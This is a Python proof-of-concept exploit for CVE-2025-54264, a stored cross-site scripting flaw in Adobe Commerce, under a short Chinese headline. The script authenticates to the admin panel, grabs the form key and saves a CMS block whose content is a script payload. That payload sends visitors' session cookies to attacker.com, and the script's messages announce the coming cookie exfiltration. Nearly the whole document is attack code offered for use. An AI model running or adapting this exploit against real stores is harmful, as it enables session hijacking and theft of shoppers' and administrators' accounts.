CVE-2025-54264：Adobe Commerce存储型XSS漏洞导致会话劫持

# CVE-2025-54264 - Adobe Commerce Stored XSS PoC # This PoC demonstrates how a high-privileged attacker can inject # malicious JavaScript into vulnerable form fields in Adobe Commerce. import requests from bs4 import BeautifulSoup # Configuration TARGET_URL = "https://target-adobe-commerce-site.com" ADMIN_USERNAME = "attacker_admin" ADMIN_PASSWORD = "password123" MALICIOUS_PAYLOAD = '<script>document.location="https://attacker.com/steal?cookie="+document.cookie;</script>' def exploit_stored_xss(): """ Step 1: Authenticate as a high-privileged admin user Step 2: Navigate to a vulnerable form field (e.g., product description, CMS block, category name, etc.) Step 3: Inject malicious JavaScript payload into the form field Step 4: Submit the form to store the payload persistently Step 5: When a victim visits the affected page, the script executes """ session = requests.Session() # Step 1: Login as admin login_url = f"{TARGET_URL}/admin" login_page = session.get(login_url) soup = BeautifulSoup(login_page.text, 'html.parser') form_key = soup.find('input', {'name': 'form_key'})['value'] login_data = { 'login[username]': ADMIN_USERNAME, 'login[password]': ADMIN_PASSWORD, 'form_key': form_key } session.post(login_url, data=login_data) # Step 2 & 3: Inject payload into a vulnerable field # Example: Injecting into a CMS block or product field vulnerable_endpoint = f"{TARGET_URL}/admin/cms_block/save/" payload_data = { 'title': 'Special Offer', 'content': MALICIOUS_PAYLOAD, # Stored XSS injection point 'form_key': form_key } # Step 4: Submit and store the payload response = session.post(vulnerable_endpoint, data=payload_data) if response.status_code == 200: print("[+] Malicious payload stored successfully!") print("[+] Waiting for victim to visit the page...") print("[+] When victim browses the page, their session cookie will be exfiltrated") else: print("[-] Failed to store payload") if __name__ == "__main__": exploit_stored_xss()